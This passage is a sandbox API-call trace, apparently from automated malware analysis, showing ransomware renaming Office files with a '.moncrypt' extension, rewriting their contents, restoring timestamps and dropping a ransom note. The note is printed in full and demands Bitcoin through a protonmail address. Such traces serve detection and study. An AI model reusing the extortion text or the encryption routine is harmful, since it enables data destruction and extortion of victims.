lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpUsedDefaultChar=0x0) returned 81 [0047.371] CharLowerBuffW (in: lpsz=".IDX_DLL", cchLength=0x8 | out: lpsz=".idx_dll") returned 0x8 [0047.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".idx_dll", cchWideChar=8, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".idx_dlled\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpUsedDefaultChar=0x0) returned 8 [0047.371] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 0x54e240 [0047.371] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0047.371] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0047.371] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0047.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", dwFileAttributes=0x20) returned 1 [0047.372] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0047.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.moncrypt")) returned 1 [0047.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0047.373] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0047.373] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x152f80 [0047.373] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0047.373] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0047.375] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.375] GlobalLock (hMem=0x440004) returned 0x558190 [0047.375] GlobalHandle (pMem=0x558190) returned 0x440004 [0047.375] GlobalUnlock (hMem=0x440004) returned 0 [0047.375] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0047.375] GlobalLock (hMem=0x440004) returned 0x558190 [0047.375] GlobalHandle (pMem=0x558190) returned 0x440004 [0047.375] GlobalUnlock (hMem=0x440004) returned 0 [0047.375] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0047.375] GlobalLock (hMem=0x440004) returned 0x558190 [0047.375] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.375] GlobalUnlock (hMem=0x44000c) returned 0 [0047.375] GlobalHandle (pMem=0x558190) returned 0x440004 [0047.375] GlobalUnlock (hMem=0x440004) returned 0 [0047.375] GlobalLock (hMem=0x440004) returned 0x552180 [0047.375] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.375] GlobalUnlock (hMem=0x440004) returned 0 [0047.375] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0047.375] GlobalLock (hMem=0x440004) returned 0x552180 [0047.375] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.375] GlobalUnlock (hMem=0x440004) returned 0 [0047.375] ReadFile (in: hFile=0x18c, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0047.376] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0047.376] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0047.377] SetFilePointer (in: hFile=0x18c, lDistanceToMove=1388416, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x152f80 [0047.377] WriteFile (in: hFile=0x18c, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0047.379] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0047.379] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0047.390] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0047.390] CloseHandle (hObject=0x18c) returned 1 [0047.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0047.433] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0047.433] CloseHandle (hObject=0x18c) returned 1 [0047.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.moncrypt", dwFileAttributes=0x20) returned 1 [0047.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0047.434] GlobalLock (hMem=0x440004) returned 0x552180 [0047.434] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.434] GlobalUnlock (hMem=0x440004) returned 0 [0047.434] GlobalLock (hMem=0x440004) returned 0x552180 [0047.434] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.434] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.434] GlobalUnlock (hMem=0x440004) returned 0 [0047.434] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.434] GlobalUnlock (hMem=0x44000c) returned 0 [0047.434] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0047.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d8494c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3d8494c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d8494c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0047.434] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0047.434] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0047.434] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0047.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0047.434] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0047.434] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0047.434] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0047.434] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0047.435] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0047.435] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0047.435] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0047.435] CloseHandle (hObject=0x18c) returned 1 [0047.435] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0047.435] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.435] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.435] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.435] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.435] GlobalUnlock (hMem=0x44000c) returned 0 [0047.435] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.435] GlobalLock (hMem=0x440004) returned 0x554190 [0047.435] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.435] GlobalUnlock (hMem=0x44000c) returned 0 [0047.435] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.435] GlobalUnlock (hMem=0x440004) returned 0 [0047.435] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.435] CharLowerBuffW (in: lpsz="MSSOAPR3.DLL", cchLength=0xc | out: lpsz="mssoapr3.dll") returned 0xc [0047.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0047.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpUsedDefaultChar=0x0) returned 73 [0047.436] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0047.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\1033\\MSSOAPR3.DLL", lpUsedDefaultChar=0x0) returned 4 [0047.436] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0047.436] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.436] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.436] GlobalLock (hMem=0x440004) returned 0x552180 [0047.436] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.436] GlobalUnlock (hMem=0x440004) returned 0 [0047.436] GlobalLock (hMem=0x440004) returned 0x552180 [0047.437] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.437] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.437] GlobalUnlock (hMem=0x440004) returned 0 [0047.437] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.437] GlobalUnlock (hMem=0x44000c) returned 0 [0047.437] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.437] CharLowerBuffW (in: lpsz="OARPMANR.DLL", cchLength=0xc | out: lpsz="oarpmanr.dll") returned 0xc [0047.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0047.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpUsedDefaultChar=0x0) returned 73 [0047.437] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0047.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\1033\\OARPMANR.DLL", lpUsedDefaultChar=0x0) returned 4 [0047.438] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0047.438] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.438] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.438] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.438] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.438] GlobalUnlock (hMem=0x44000c) returned 0 [0047.438] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.438] GlobalLock (hMem=0x440004) returned 0x554190 [0047.438] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.438] GlobalUnlock (hMem=0x44000c) returned 0 [0047.438] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.438] GlobalUnlock (hMem=0x440004) returned 0 [0047.438] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.438] CharLowerBuffW (in: lpsz="README.HTM", cchLength=0xa | out: lpsz="readme.htm") returned 0xa [0047.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 